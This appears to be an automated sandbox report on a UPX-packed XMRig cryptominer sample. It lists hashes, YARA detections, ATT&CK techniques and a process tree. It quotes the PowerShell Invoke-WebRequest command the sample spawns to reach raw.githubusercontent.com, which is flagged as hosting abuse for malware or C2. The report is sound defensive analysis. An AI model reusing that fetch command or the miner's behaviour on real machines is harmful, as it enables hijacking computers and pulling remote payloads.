xmrig | 4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
13-06-2024 22:43

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General

Target

4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe
Size

3.1MB
MD5

dc21948bc55887fc3d055c31f890679b
SHA1

06182b53669dc04f7ed783068c5f6779591355ba
SHA256

4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772
SHA512

52fe8362722239b8e51172b7dd11870a562771263e32e9bf6e4010a152c66b1cbc2b407eb0432e05528c9a817589cda2e4eb26fa5120b2de6ff4170613d2e97a
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrW:7bBeSFk

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects executables containing URLs to raw contents of a Github gist 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2944-0-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/memory/2944-19-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

UPX dump on OEP (original entry point) 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2944-0-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	UPX
behavioral2/memory/2944-19-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	UPX

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2944-0-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	xmrig
behavioral2/memory/2944-19-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

560 powershell.exe

pid	process
560	powershell.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/2944-0-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	upx
behavioral2/memory/2944-19-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service
T1102

Processes:

flow ioc

4 raw.githubusercontent.com
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

560 powershell.exe
560 powershell.exe

flow	ioc
4	raw.githubusercontent.com

pid	process
560	powershell.exe
560	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exepowershell.exe

description	pid	process
Token: SeLockMemoryPrivilege	2944	4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe
Token: SeLockMemoryPrivilege	2944	4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe
Token: SeDebugPrivilege	560	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe

description	pid	process	target process
PID 2944 wrote to memory of 560	2944	4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe	powershell.exe
PID 2944 wrote to memory of 560	2944	4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe
"C:\Users\Admin\AppData\Local\Temp\4f56017228cbb572cfa6f594563197d280346dfc876af2fd6b32f2ef88c0b772.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4012,i,2607710392823067546,4648797561512801463,262144 --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:8
1⤵
PID:4392

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uoydocd3.hef.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/560-2-0x00007FFF006D3000-0x00007FFF006D5000-memory.dmp

Filesize
8KB

Download
memory/560-3-0x0000023060740000-0x0000023060762000-memory.dmp

Filesize
136KB

Download
memory/560-13-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

Filesize
10.8MB

Download
memory/560-14-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

Filesize
10.8MB

Download
memory/560-15-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

Filesize
10.8MB

Download
memory/560-18-0x00007FFF006D0000-0x00007FFF01191000-memory.dmp

Filesize
10.8MB

Download
memory/2944-0-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp

Filesize
4.0MB

Download
memory/2944-1-0x0000019875A10000-0x0000019875A20000-memory.dmp

Filesize
64KB

Download
memory/2944-19-0x00007FF65D1A0000-0x00007FF65D596000-memory.dmp

Filesize
4.0MB

Download